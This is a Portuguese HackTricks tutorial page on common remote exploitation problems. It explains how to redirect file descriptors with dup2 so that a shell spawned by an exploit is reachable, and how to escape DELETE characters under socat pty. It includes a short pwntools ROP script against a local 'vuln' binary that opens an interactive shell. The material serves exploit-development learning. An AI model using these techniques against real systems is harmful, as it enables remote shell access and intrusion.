Problemas Comuns de Exploração
Reading time: 3 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
FDs na Exploração Remota
Ao enviar um exploit para um servidor remoto que chama system('/bin/sh'), por exemplo, isso será executado no processo do servidor, e /bin/sh esperará entrada do stdin (FD: 0) e imprimirá a saída no stdout e stderr (FDs 1 e 2). Assim, o atacante não poderá interagir com o shell.
Uma maneira de corrigir isso é supor que, quando o servidor foi iniciado, ele criou o FD número 3 (para escuta) e que, em seguida, sua conexão estará no FD número 4. Portanto, é possível usar a syscall dup2 para duplicar o stdin (FD 0) e o stdout (FD 1) no FD 4 (o da conexão do atacante), tornando viável contatar o shell uma vez que ele seja executado.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Note que o socat já transfere stdin e stdout para o socket. No entanto, o modo pty inclui caracteres DELETE. Portanto, se você enviar um \x7f ( DELETE -) ele deletará o caractere anterior do seu exploit.
Para contornar isso, o caractere de escape \x16 deve ser precedido a qualquer \x7f enviado.
Aqui você pode encontrar um exemplo desse comportamento.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks